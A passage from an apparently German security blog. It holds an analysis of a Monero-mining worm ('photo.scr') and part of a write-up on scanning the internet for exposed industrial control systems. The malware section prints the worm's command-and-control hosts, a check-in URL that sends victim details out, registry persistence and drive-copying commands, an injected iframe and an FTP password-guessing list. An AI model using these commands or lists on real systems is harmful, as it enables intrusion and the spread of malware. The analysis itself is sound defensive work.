</span><span class='line'>[...] 2,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_5
</span><span class='line'>[...] 1,4K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_6
</span><span class='line'>[...]  20K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_7
</span><span class='line'>[...] 9,5K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_8
</span><span class='line'>[...] 4,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_9
</span><span class='line'>[...]  45K 22. Aug 00:41 bad-file_14_ICON1.ico</span></code></pre></td></tr></table></div></figure>


<p>Diesmal gibt es einige kleinere Dateien, wobei eine besonders heraussticht: Gleich ganz oben mit dem Suffix &#8220;RCDATA1&#8221;. Die anderen Dateien zeigte das <code>wrestool</code> als Icons an, diese scheinen aber, bis auf zwei Ausnahmen eines Ordnersymbols, keine zu sein. Das Ordnersymbol dient offensichtlich dazu Nutzer zu täuschen (Social Engineering), damit diese einen Doppelklick auf den vermeintlichen Ordner machen.</p>

<p><a rel="fancybox"href="/images/posts/photo-virus-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/photo-virus-2.png" alt="Ordner-Icon bei der Ansicht im Windows Explorer" title="Darstellung der photo.scr im Windows Explorer" /></a></p>

<p>Moderne Webbrowser, wie der Mozilla Firefox zeigen trotz verfälschtem Symbol an, dass es sich bei der abgerufenen Datei um eine ausführbare Datei handelt.</p>

<p><a rel="fancybox"href="/images/posts/photo-virus-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/photo-virus-1.png" alt="Firefox zeigt nur ein Applikations-Icon, kein Ordner-Icon" title="Screenshot des Firefox Autodownload mit Applikations Icon" /></a></p>

<p>Die verdächtige größere Datei scheint wieder eine Windows-Executable zu sein:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1 
</span><span class='line'>807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1: PE32 executable (console) Intel 80386, for MS Windows
</span><span class='line'>
</span><span class='line'>$&gt; md5sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1 
</span><span class='line'>3afeb8e9af02a33ff71bf2f6751cae3a  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1</span></code></pre></td></tr></table></div></figure>


<p>Sucht man nach der MD5-Summe <code>3afeb8e9af02a33ff71bf2f6751cae3a</code>, so findet man heraus, dass es sich um eine Programm namens <a href="http://www.processchecker.com/file/NsCpuCNMiner32.exe.html">NsCpuCNMiner32.exe</a> handelt - Das werden wir später an einer anderen Stelle noch erkennen.</p>

<p>Führt man in Radare2 das Kommando <code>iz | less</code> aus, so bekommt man eine Auflistung aller Strings in der <code>.data</code> Sektion. Hier lassen sich interessante Sachen entdecken!</p>

<p>Zum Beispiel die Hosts mit denen die Malware kommuniziert:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=stafftest.ru
</span><span class='line'>[...]string=hrtests.ru
</span><span class='line'>[...]string=profetest.ru
</span><span class='line'>[...]string=testpsy.ru
</span><span class='line'>[...]string=pstests.ru
</span><span class='line'>[...]string=qptest.ru
</span><span class='line'>[...]string=prtests.ru
</span><span class='line'>[...]string=jobtests.ru
</span><span class='line'>[...]string=iqtesti.ru</span></code></pre></td></tr></table></div></figure>


<p>Konkret sieht man aus dem malwr.com-Log, dass ein HTTP-Request an folgende URL gestellt wird: httpx://stafftest .ru/test.html. Das finden wir auch in der Binary logischweise wieder:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=http://%s/test.html?%d</span></code></pre></td></tr></table></div></figure>


<p><a rel="fancybox"href="/images/posts/stafftest.ru.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/stafftest.ru.png" alt="Screenshot eines Viren C&C auf dem nur Buchstabensalsat zu sehen ist" title="Abruf der Webseite mit Buchstabensalat" /></a></p>

<p>Ruft man diese URL in einer abgeschirmten Umgebung auf, so bekommt man HTML-Quelltext und viel Buchstabensalat zurück. Eine Analyse von <a href="https://blog.fortinet.com/2016/06/14/obfuscated-bitcoin-miner-propagates-through-ftp-using-password-dictionary">Fortinet</a> zeigt, dass scheinbar nur Buchstaben verstauscht werden müssen, um die Kommandos zu entschlüsseln - Es handelt sich offensichtlich um eine ROT47 Methode auf einem eigenen Schriftsatz - der folgendermaßen gelöst werden kann.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>#!/usr/bin/python2
</span><span class='line'>import requests
</span><span class='line'>
</span><span class='line'>def decode(URL):
</span><span class='line'>    charset = " mnbvcxzlkjhgfdsapoiuytrewq/0987654321!@=%&?:.,["
</span><span class='line'>    r = requests.get(URL)
</span><span class='line'>    content = r.content
</span><span class='line'>    output = ""
</span><span class='line'>
</span><span class='line'>    for c in content:
</span><span class='line'>        if c in charset:
</span><span class='line'>            pos = 47 - charset.index(c)
</span><span class='line'>            output += charset[pos]
</span><span class='line'>        else:
</span><span class='line'>            output += c
</span><span class='line'>
</span><span class='line'>    return output
</span><span class='line'>
</span><span class='line'>print decode("httpx://stafftest .ru/stat.html")
</span><span class='line'>print decode("httpx://stafftest .ru/test.html")
</span><span class='line'>print decode("httpx://stafftest .ru/text.html")</span></code></pre></td></tr></table></div></figure>


<p>Eine beispielhafte Ausgabe findet man in <a href="https://paste.internetwache.org/?6d98c0b9696943db#8LWVS8h31+afvsh7hT1BJhIrPm5QPHJ1acuTNpbJtDw=">unserem Paste</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=httpx://hrtests .ru/S.php?ver=24&pc=%s&user=%s&sys=%s&cmd=%s&startup=%s/%s</span></code></pre></td></tr></table></div></figure>


<p>Zudem wird ein HTTP-Request vorgenommen bei dem mehrere Daten übermittelt werden, so etwa eine Version (<code>ver</code>), der Computername, der Nutzer und inwieweit das Programm nach dem Neustart des Rechners ausgeführt wird. Vermutlich werden diese Werte genutzt, um sie in ein Backend der Cyberkriminellen einzupflegen - darüber haben diese jederzeit Überblick wie viele und welche Systeme befallen sind.
Der Parameter <code>ver</code> deutet zudem darauf hin, dass die Entwicklung der Malware tatsächlich erstaunlich professionell, mit immer neuen Releases, verläuft. Eine Analyse von <a href="https://www.guardicore.com/2016/06/the-photominer-campaign">GuardiCore</a> legt nahe, dass mit jeder neuen Version auch neue Verbreitungswege zu der Malware hinzugefügt werden.</p>

<p>In der Liste der Strings finden wir den oben bereits extrahierten NsCpuCNMiner wieder (dieser existiert in manchen Versionen der Malware sowohl in der 32-bit, als auch in der 64-bit Variante), welcher im <code>%%TEMP%%</code>-Verzeichnis abgelegt und von dort ausgeführt wird.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=%s\NsCpuCNMiner32.exe
</span><span class='line'>[...]string=/c start /b %%TEMP%%\NsCpuCNMiner32.exe -dbg -1 %s</span></code></pre></td></tr></table></div></figure>


<p>Der Miner wird defaultmäßig mit Mining-Pools ausgeführt, die bereits in der &#8220;photo.scr&#8221; hinterlegt sind. Darüber hinaus wird eine Liste mit möglichen Mining-Pools mit dem gezeigten HTTP-Request ermittelt und in einer Datei mit dem Namen &#8220;pools.txt&#8221; gespeichert. Per Shell-Kommando kann die entsprechende Datei bei Aufruf des Miners übergeben werden.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=/c (echo stratum+tcp://mine.moneropool.com:3333& echo stratum+tcp://monero.crypto-pool.fr:3333& echo stratum+tcp://xmr.prohash.net:7777& echo stratum+tcp://pool.minexmr.com:5555)&gt; %TEMP%\pools.txt</span></code></pre></td></tr></table></div></figure>


<p>Damit die getanene Arbeit und deren Ergebnisse einem Account auf einem der Mining-Pools zugeordnet werden kann, muss oft ein Account-spezifischer API-Key angegeben werden:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=-o stratum+tcp://mine.moneropool.com:3336 -t 1 -u 42n7TTpcpLe8yPPLxgh27xXSBWJnVu9bW8t7GuZXGWt74vryjew2D5EjSSvHBmxNhx8RezfYjv3J7W63bWS8fEgg6tct3yZ -p x</span></code></pre></td></tr></table></div></figure>


<p><a href="https://www.reddit.com/r/netsec/comments/4o1ebq/worm_spreads_via_ftp_and_http_mines_monero/">Reddit-Nutzer</a> konnten weitere, wahrscheinlich zugehörende, Adressen und API-Keys ausfindig machen.</p>

<p>Um sich zu verbreiten, brute-forced der Miner FTP-Logins. Dazu nutzt er folgende Benutzernamen&#8230;</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=anonymous
</span><span class='line'>[...]string=Admin
</span><span class='line'>[...]string=admin
</span><span class='line'>[...]string=www-data
</span><span class='line'>[...]string=anonymous
</span><span class='line'>[...]string=Admin
</span><span class='line'>[...]string=admin
</span><span class='line'>[...]string=www-data
</span><span class='line'>[...]string=administrator</span></code></pre></td></tr></table></div></figure>


<p>&#8230;und Passwörter:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=test
</span><span class='line'>[...]string=password
</span><span class='line'>[...]string=pass
</span><span class='line'>[...]string=pass1234
</span><span class='line'>[...]string=1234
</span><span class='line'>[...]string=12345
</span><span class='line'>[...]string=123456
</span><span class='line'>[...]string=1234567
</span><span class='line'>[...]string=12345678
</span><span class='line'>[...]string=123456789
</span><span class='line'>[...]string=1234567890
</span><span class='line'>[...]string=qwerty
</span><span class='line'>[...]string=devry
</span><span class='line'>[...]string=000000
</span><span class='line'>[...]string=111111
</span><span class='line'>[...]string=123123
</span><span class='line'>[...]string=abc123
</span><span class='line'>[...]string=admin123
</span><span class='line'>[...]string=derok010101
</span><span class='line'>[...]string=windows
</span><span class='line'>[...]string=123qwe
</span><span class='line'>[...]string=email@email.com</span></code></pre></td></tr></table></div></figure>


<p>Die folgenden Dateiendungen könnten darauf hindeuten, dass die Malware Dateien mit dieser Endung manipuliert, um sich weiter zu verbreiten:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=.php
</span><span class='line'>[...]string=.PHP
</span><span class='line'>[...]string=.htm
</span><span class='line'>[...]string=.HTM
</span><span class='line'>[...]string=.xml
</span><span class='line'>[...]string=.XML
</span><span class='line'>[...]string=.dhtm
</span><span class='line'>[...]string=.DHTM
</span><span class='line'>[...]string=.phtm
</span><span class='line'>[...]string=.xht
</span><span class='line'>[...]string=.htx
</span><span class='line'>[...]string=.mht
</span><span class='line'>[...]string=.bml
</span><span class='line'>[...]string=.asp
</span><span class='line'>[...]string=.shtm</span></code></pre></td></tr></table></div></figure>


<p>Die Manipulation beinhaltet vor allem das Erstellen eines 1x1 großen Iframes über welchen auf die entsprechende Datei (photo.scr) verwiesen wird.
Der Code dazu lautet:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=\n&lt;iframe src=Photo.scr width=1 height=1 frameborder=0&gt;\n&lt;/iframe&gt;\n</span></code></pre></td></tr></table></div></figure>


<p><a rel="fancybox"href="/images/posts/photo-virus-3.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/photo-virus-3.png" alt="Bildschirmfoto eines Quelltextes einer Webseite mit Autodownload" title="1x1 Pixel-Iframe innerhalb eines Quellcodes einer Webseite" /></a></p>

<p>Um immer im Hintergrund zu laufen und um sich auf weitere Systeme zu verbreiten wird ein Registry-Eintrag angelegt und zudem versucht sich auf alle angeschlossene Laufwerke zu kopieren:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=/c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Run" /d "%s" /t REG_SZ /f
</span><span class='line'>[...]string=/c for %%i in (A B C D E F G H J K L M N O P R S T Q U Y I X V X W Z) do xcopy /y "%s" %%i:\</span></code></pre></td></tr></table></div></figure>


<p>Zudem wird nach Doppelklick auf die Datei ein Countdown von 5 Wochen (über 3.100.000 Sekunden) gestartet - erst nach dieser Zeit findet die geschilderte aggressive Verbreitung statt - zuvor wird zunächst heimlich und im Hintergrund Kryptomining betrieben.</p>

<h2>Maßnahmen der Malware zur Verbreitung &amp; möglicher Schaden</h2>

<p>Die Malware nutzt verschiedene Formen der Verbreitung:</p>

<ul>
<li>Bruteforcing von FTP-Servern (mittels Wortliste)</li>
<li>Verteilen auf angeschlossene Festplatten (Laufwerke)</li>
<li>Verwendung von 1x1 Iframes innerhalb von HTML-Dateien, um einen Autodownload zu erreichen</li>
<li>Erstellen von WLAN-Hotspots (gefunden in Samples von <a href="https://www.guardicore.com/2016/06/the-photominer-campaign/">GuardiCore</a>)</li>
</ul>


<p>Anders als bei Ransomeware liegt kein wirklich sichtbarer Schaden vor, da die Schadware ausschließlich Rechenkapazität nutzt und geringfügig Speicher belegt. Allerdings haben wir den Wurm auch auf Industrial Control Systems gefunden - in solchen Umgebungen kann es gefährlich sein, wenn der Wurm versucht sich aggressiv (beispielsweise durch Kopieren) weiterzuverbreiten.</p>

<p>Es ist unklar, wer hinter diesem Vorgehen steckt - allerdings gehen wir davon aus, dass der oder die Cyberkriminellen durchaus ein ansehnliches Einkommen durch dieses Vorgehen generieren können, was mitunter im 6 oder sogar 7-stelligen Bereich liegen könnte.</p>

<p>Zur Berechnung dieses Bereiches haben wir uns die standardmäßigen <a href="https://docs.google.com/spreadsheets/d/1MI-ic0Os25hgGUImW54sUIjZY_pUNQNa_W8Se5pRGBs/edit?pli=1#gid=0">Monero Mining Konfigurationen</a> angeschaut und angenommen, dass ein befallener Computer (Dual Core) im Durchschnitt eine Hash-Rate von 62 H/s besitzt. (Diese Annahme ich durchaus verhalten, da Gaming-PCs und co. eine deutlich höhere Hash-Rate haben.) Zudem nehmen wir einen Pool Fee von 2% an, was auch eher überdurchschnittlich hoch, also entsprechend negativ für die Cyberkriminellen, ist. Nutzt man diese hypothetischen Angaben und gibt sie in einen <a href="http://www.coinwarz.com/calculators/monero-mining-calculator/?h=62.00&amp;p=0.00&amp;pc=0.00&amp;pf=2.00&amp;d=2329063878.00000000&amp;r=10.95060000&amp;er=0.00422106&amp;btcer=601.41970000&amp;hc=0.00">Mining-Rechner</a> ein, so erhält man unter Berücksichtigung der aktuellen Mining-Werte (Difficulty &amp; Reward) eine wöchtenliche Erzielung von 0,44$ pro befallenem Gerät.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>50000 * 0,44 $ = 22000 $</span></code></pre></td></tr></table></div></figure>


<p>Bei 50000 befallenen Geräten würde man so pro Woche bereits einen Wert von 22000 $ generieren.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>22000$ * 36 = 792000 $</span></code></pre></td></tr></table></div></figure>


<p>Da der Threat-Actor mindestens schon seit Ende des letzten Jahres bzw. Anfang 2016 aktiv ist (das legen die Untersuchungen anderer Sicherheitsexperten nahe, siehe bspw. <a href="https://www.guardicore.com/2016/06/the-photominer-campaign/">GuardiCore</a>), könnte man den wöchentlichen Wert mit der Anzahl der Kalenderwochen in 2016 multiplizieren und hätte dann eine ungefähre Ahnung davon, wie viel die Cyberkriminellen verdient haben könnten. Es ist natürlich richtig einzuwenden, dass nicht alle PCs zu jedem Zeitpunkt an sind, Erkennungen durch Antivierensysteme erfolgen und auch die Währung selbst Schwankungen unterliegt - aber die zu Grunde liegenden 50000 befallenden Geräte sind ja ebenfalls eine reine Schätzung und könnten sogar, angesichts der geschilderten aggressiven Verbreitung, deutlich höher ausfallen.</p>

<p><a href="https://community.fireeye.com/external/1475">Fireeye</a> hat vor einiger Zeit eine Malware der gleichen Familie gefunden, diese hat .top-Domains genutzt, um sich zu verbreiten. Da die Command und Control Server die gleichen sind, wie in der von uns gefundenen Malware ist zu vermuten, dass die gleichen Akteure hinter der Malware stecken oder aber sogar ein Malware as a Service Programm genutzt wird (die Cyberkriminelle also andere Kriminelle bezahlen - die ihre Malware an mögliche Opfer verteilen).</p>

<h2>Schutz vor dieser Malware</h2>

<p>Nachfolgend wollen wir noch eine kurze Übersicht über mögliche Schutzmaßnahmen geben, damit man selbst nicht Opfer und damit Teil einer unfreiwilligen Mining-Operation wird.</p>

<p>Als Betreiber einer IT-Infrastrukur:</p>

<ul>
<li>Sichere Passwörter für FTP nutzen</li>
<li>IP-Bann nach mehrfacher Fehlauthentifizierung</li>
<li>Blacklisting der oben gennannten URLs in Webproxies oder Firewalls</li>
<li>Virensystem auf dem aktuellen Stand halten und regelmäßige Scans durchführen</li>
</ul>


<p>Als Besitzer eines Endgerätes:</p>

<ul>
<li>Skeptisch sein: Keine merkwürdigen Dateien per Doppelklick öffnen</li>
<li>Dateianhänge in Windows anzeigen lassen</li>
<li>In unbekannten WLANs immer vorsichtig agieren</li>
<li>Autodownloads auf fremden Webseiten nicht anklicken</li>
<li>Virensystem auf dem aktuellen Stand halten und regelmäßige Scans durchführen</li>
</ul>


<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Wie wir Wasserwerke im Internet entdeckten]]></title>
    <link href="https://www.internetwache.org/wie-wir-wasserwerke-im-internet-entdeckten-16-08-2016/"/>
    <updated>2016-08-16T01:52:00+02:00</updated>
    <id>https://www.internetwache.org/wie-wir-wasserwerke-im-internet-entdeckten</id>
    <content type="html"><![CDATA[<p>Internetwache.org hat in den vergangenen Monaten die Sicherheit von Industrial Control Systems (ICS) im Internet untersucht. Dabei stießen wir auf über hundert ungesicherte Steuerungen von Wasser-, Heizkraftwerken, Parkplätzen und Gebäuden.</p>

<!-- more -->


<p>Alles begann im Oktober 2015 als Tim <a href="http://www.golem.de/news/smart-city-schweizer-prime-tower-gibt-massenhaft-daten-preis-1601-118552.html">ein Datenleck im Prime Tower</a> entdeckte. Angestoßen von dieser Entdeckung suchte er nach weiteren ICS und wurde alsbald auch fündig. Er entdeckte ein Wasserwerk, welches nach seinem Hinweis an das BSI einige Tage später nicht mehr öffentlich zugänglich war. Im Rahmen des Projektes Internetwache.org haben Tim und Sebastian daraufhin einen großflächigeren Scan durchgeführt und weitere Wasserwerke sowie ICS gefunden. Die zentralen Ergebnisse und eine Einführung in verschiedene Problematiken findet man <a href="http://www.golem.de/news/schwachstellen-aufgedeckt-der-leichtfertige-umgang-mit-kritischen-infrastrukturen-1607-122063.html">in dem Artikel auf Golem.de</a>.</p>

<p>In diesem Blogpost soll die dahinterstehende Methodik und genauere Hintergrundinformationen dargestellt werden.</p>

<h2>Aller Anfang ist schwer&#8230;</h2>

<p>Am Anfang hatte Tim mit Hilfe eines kleinen Python-Scripts angefangen, das Internet nach ICS abzusuchen. Dadurch ließen sich bereits erste erstaunliche Sachen finden (was uns wiederholt zeigt, dass es vermutlich noch mehr zu entdecken gibt) - allerdings war das Vorgehen insgesamt langsam. Zu diesem Zeitpunkt hatte Tim bereits einen Anhaltspunkt entdecken können, mit welchem mit hoher Wahrscheinlichkeit ICS im Internet ausfindig gemacht werden konnten. Es fehlte nur noch ein effizienterer Prozess, um diese &#8220;Nadeln im Heuhaufen&#8221; zu entdecken.</p>

<p>Sebastian hatte daraufhin die Idee, einen neuen Ansatz zu wählen und mit Hilfe des Programmes  <a href="http://zmap.io/">Zmap</a>, ein Tool der University of Michigan, was auch den treffenden Namen &#8220;The Internet Scanner&#8221; trägt, und dem dazugehörigen Tool <a href="https://github.com/zmap/zgrab">Zgrab</a> das Internet nach diesen Systemen zu durchsuchen. Laut Webseite sind damit (je nach verfügbarer Bandbreite) Scans des gesamten Internet in unter 5 Minuten möglich. Damit kann man also den kompletten öffentlichen IPv4-Bereich nach Systemen abscannen, welche auf bestimmten Ports (u.a. Port 80) erreichbar sind, um diese dann später weiter auf bestimmte Kriterien untersuchen zu können.</p>

<p>Der Aufruf sah folgendermaßen aus:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>sudo zmap -B 10M -p 80 --output-fields='*' | ztee results.csv | zgrab --port 80 --http="/" | gzip &gt;  banners.gz </span></code></pre></td></tr></table></div></figure>


<p>Allerdings stellte sich dieser Ansatz, nach einigen Probescans, für uns nicht als optimal heraus, da wir keinen passenden Internetanschluss bzw. Hoster hatten, von dem man einen entsprechenden Scan ohne Abusemails oder ähnliche Nachfolgen hätten durchführen können. Außerdem hätte dies bei einer weniger schnellen Anbindung (&lt;1 Gbit/s) mehrere Stunden in Anspruch genommen - es wären allenfalls Forschungseinrichtungen oder Firmen mit einer solchen Anbindung in Frage gekommen.</p>

<p>Wir wählten also einen anderen Weg, denn Sebastian erinnerte sich, dass ähnliche, fertige Datensätze auf dem Projekt <a href="https://scans.io/">scans.io</a> veröffentlicht werden. Die Daten umfassen internetweite Scans und sind für jeden kostenlos auf der Webseite von <a href="https://scans.io/">scans.io</a> abrufbar. Sie werden weltweit immer wieder zu Forschungszwecke herangezogen und schienen auch uns sehr geeignet für unser Vorhaben. In der Sammlung fanden wir in einer eigenen <a href="https://scans.io/study/sonar.http">Kategorie</a> einen wöchentlichen Scan der HTTP-Antworten aller erreichbaren Systeme auf Port 80 hochgeladen. Dieser Datensatz ist komprimiert rund 80 Gigabyte groß und enthät mehr als 62276536  Einträge.
Bei dem Scan wird versucht alle im Internet erreichbaren IPv4-Adressen abzuscannen, antworten diese - so gelangt ihr Datensatz in den Scan - ist das nicht der Fall, so werden diese nicht mit aufgenommen.</p>

<p>Jeder Eintrag enthält die folgenden Daten im JSON-Format:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>{
</span><span class='line'>    "ip": "8.8.8.8"
</span><span class='line'>    "host": "8.8.8.8",
</span><span class='line'>    "vhost": "8.8.8.8", 
</span><span class='line'>    "port": 80, 
</span><span class='line'>    "data": base64(HTTP-Antwort), 
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>Der &#8220;data&#8221;-Eintrag enthielt die komplette HTTP-Antwort des angesprochenen Servers, inklusive HTTP-Headern und komplettem Inhalt, allerdings noch mittels &#8220;base64&#8221; kodiert.</p>

<h2>Durchführen des Scans</h2>

<p>Alle HMIs ließen sich an einem bestimmten Wert in einem der HTTP-Header erkennen (wie bereits oben beschrieben), sodass Sebastian ein kleines Python-Script schrieb, welches den heruntergeladenen Datensatz dekomprimierte, zeilenweise auslies und nach dem Base64-Dekodieren der Daten nach einem bestimmten Header ausschau hielt, der in zwei verschiedenen Variationen vorkommen konnte. Wir reduzierten den Datensatz auf 1796 Einträge.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; python2 filter_scansio.py
</span><span class='line'>$&gt; wc -l output*.ips
</span><span class='line'>     142 output-type1.ips
</span><span class='line'>    1654 output-type2.ips</span></code></pre></td></tr></table></div></figure>


<p>Die Ausgabe des Scriptes enthielt einige unnötige Leerzeilen und möglicherweise doppelte Einträge, sodass wir uns entschieden, alle IP-Adresse zu extrahieren:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; grep -oP "\d+\.\d+\.\d+\.\d+" /tmp/output-*.ips | sort | uniq | tac | wc -l 
</span><span class='line'>838</span></code></pre></td></tr></table></div></figure>


<p>In einem ersten Durchlauf testeten wir alle IP-Adressen erneut auf Erreichbarkeit und ob sie ein HMI darstellen oder nicht.  Dabei stellten wir fest, dass nicht wenige der Systeme Gebrauch von dem in das Produkt integrierte HTTP-Basic-Authentication-Protokolls machten, also einen Passwortschutz konfiguriert hatten. Allerdings stellte sich auch heraus, dass der Wert nach dem gesucht wurde, nicht eindeutig ist und erstaunlicherweise auch mehrere Pornoseiten diesen in ihrem HTML-Quelltext nutzen, sodass hier viele Falsepositives enstanden.</p>

<p>Ein weiterer Filter musste angewendet werden. Diesmal orientierten wir uns an einem Dateinamen einer Javascriptdatei, welche in allen Webseiten des Herstellers genutzt wird.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; python2 js_filter.py | sort | uniq | tac | wc -l                  </span></code></pre></td></tr></table></div></figure>


<p>Der Datensatz reduzierte sich weiter auf über 60 Systeme, welche alle ohne Passwortschutz im Internet waren.</p>

<p>Nach den ersten Kontaktaufnahmen und Abschirmungen vom Internet stellte sich das manuelle Überprüfen der Systeme als unhandlich heraus. Sebastian entwickelte daher ein Plugin für die Nmap-Script-Engine (NSE), welches die zuvor genannten Filterschritte und Erkennungen durchführte. Der Aufruf sah folgendermaßen aus:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; nmap -n -PN -d --script nmap-find-hmis.nse -p 80 -iL all.ips  -oX nmap-all-ips-plugin-scan.xml -T paranoid</span></code></pre></td></tr></table></div></figure>


<p>
Die Ausgaben des Scriptes wurden im XML-Format durch Nmap gespeichert und mussten nur noch auf die entsprechenden Kategorien gefiltert werden:</p>

<ul>
<li>&#8220;Discovered, authenticated&#8221;</li>
<li>&#8220;Discovered, unauthenticated&#8221;</li>
<li>&#8220;Not Discovered&#8221;</li>
</ul>


<p>Dies erledigte ein weiteres Python-Script:</p>

